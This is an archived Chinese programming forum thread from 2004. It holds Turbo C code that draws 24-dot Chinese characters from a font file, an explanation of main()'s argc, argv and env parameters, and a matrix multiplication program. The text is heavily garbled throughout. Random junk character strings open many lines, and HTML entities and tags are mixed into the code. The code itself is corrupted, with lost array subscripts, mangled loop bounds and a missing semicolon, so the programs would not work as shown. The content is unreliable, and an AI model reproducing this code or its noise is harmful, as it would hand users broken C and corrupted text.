. J, p) z( O, d! Q) T* w$ aint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
! l0 s/ e: ~" |3 V" }/ d' _long l; /*color:汉字颜色*/
; K/ @1 x4 d" q# s* k- y( ?: E; v& E) k* echar by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
* W8 w, A1 F; b" m9 y% V8 zif(i&gt;0xa1)
if(f==0){
* H7 T; D2 v0 d7 L6 `8 N+ w! Ec1=(i-0xa1)&amp;0x7f;
f=1;
. W; @0 n1 L. h& D4 _6 ^}
8 Y% S3 y" A$ x- {. ielse{
c2=(i-0xa1)&amp;0x7f;
f=0;
6 @! Y8 Y# A# r/ P" Irec=(c1-15)*94+c2;
l=rec*72L;
' ?! L, {5 o: {+ t* zlseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1&lt;24*m;i1=i1+m)
2 x( `% g: M4 R6 d2 B1 ^9 ]9 qfor(i4=0;i4<M;I4++)
for(i2=0;i2&lt;=2;i2++)
  U/ o( ]9 u% Ffor(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
; U9 t4 {7 q( T: B" u! H/ f1 zx=x+24*m+z;
/ x( P: n) i; d+ P}
( j/ K: V9 Z. E5 y+ t}
$ r. o  f; ?$ dreturn(x);
. p' z7 u- L. ?6 ^} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
# w. ~2 W  `2 }( G1 tvoid main(){
2 E$ G" ^/ g$ {' l- ]: }* W$ w5 eint gr=DETECT,gm;
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
- p7 a% T+ @* A4 c, b# ^% k) a+ ~4 uRED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
8 w( m9 Y4 h9 j' A- _4 J% B) c, xHzStr); /*显示字符串*/
8 l/ c3 ]# T7 D. G) Q2 nCloseHz();
getch();
closegraph();
& E0 [  ?  S- o/ T. `}
! m. M9 o% z" J; W% R9 i$ @</P>

---

作者: 韩冰    时间: 2004-10-4 02:41
<>　　再谈main()主函数
- J( A! H" a% g5 O　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
& _4 a5 F" m  r　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
　　* argv: 字符串数组。
' N1 c' n! s. h% k; s0 c在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
+ [+ Y1 q3 C% P; I' |$ c1 C8 `对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
% b. Z! i' b+ O, m, A...
9 C( }5 k) Q: vargv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
1 L- ]' J8 Q6 M7 s+ M; F1 p2 C0 s值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

---

作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
#include&lt;stdio.h&gt;
' M: d% X% [2 M3 j#include&lt;conio.h&gt;
#define X 3
3 W) N1 r% L5 q0 C  V) F. r#define Y 3</P><>int a[X][Y];
int b[X][Y];
: ?; n- W1 u, H  m# k* \9 a2 vint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
: q. {3 ~8 S; m' tmain()
{
int i,j,temp;
clrscr();
printf("lease input int matrix b[%d][%d]\n",X,Y);
for(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
' H4 P7 u' n5 d9 f  D/ K# jb[j]=temp;
+ D$ i: B, H$ r$ w& d+ W6 \- G}
printf("lease input int matrix c[%d][%d]\n",X,Y);
for(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
& Y) o  `1 q2 w; w' q/ m: L0 Wscanf("%d",&amp;temp);
0 g- S. K# ~6 T$ @1 U! Nc[j]=temp;
}
: j* V+ w+ b, e  n* e, M: ematrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
0 k: Q2 d( E  a: ffor(i=0;i&lt;X;i++){
/ ]5 a% z& ^) a  i5 K8 ?printf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",b[j]);
}
printf("\n");
printf("Now print resource matrix c[%d][%d]=",X,Y);
/ ?& m5 _( _& ]for(i=0;i&lt;X;i++){
" X  c: _) v0 d  Y2 q! jprintf("\n");
for(j=0;j&lt;Y;j++)
$ p; m/ ^' ~# ]1 Iprintf("%d ",c[j]);
}
printf("\n");
$ u& m; r* z2 Q& z8 eprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
for(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
8 ~; W2 p& d" N( a& A! a* K$ Uprintf("%d ",a[j]);
$ {2 i* ^7 s6 U# D1 ^  N9 p8 E}
getch();
" W, B/ X! n( E' zreturn 0;
}
' f3 L: D4 q3 z* x5 f/********************************************************************/
" d$ U. W/ @# l, A% P: W. Evoid matrix(int b[][X],int c[][Y])
4 `3 H, B/ {% @. N8 x: W{
int i,j,k,temp;
for(i=0;i&lt;X;i++)
& K5 k/ Z6 W1 c4 z! ?3 Ffor(j=0;j&lt;Y;j++){
for(k=0;k&lt;Y;k++)
8 z& x) @6 }& `2 M/ }a[j]+=b[k]*c[k][j];
' ]# I, V. O! o0 _- o( q}
}</P>

---

欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)

Powered by Discuz! X2.5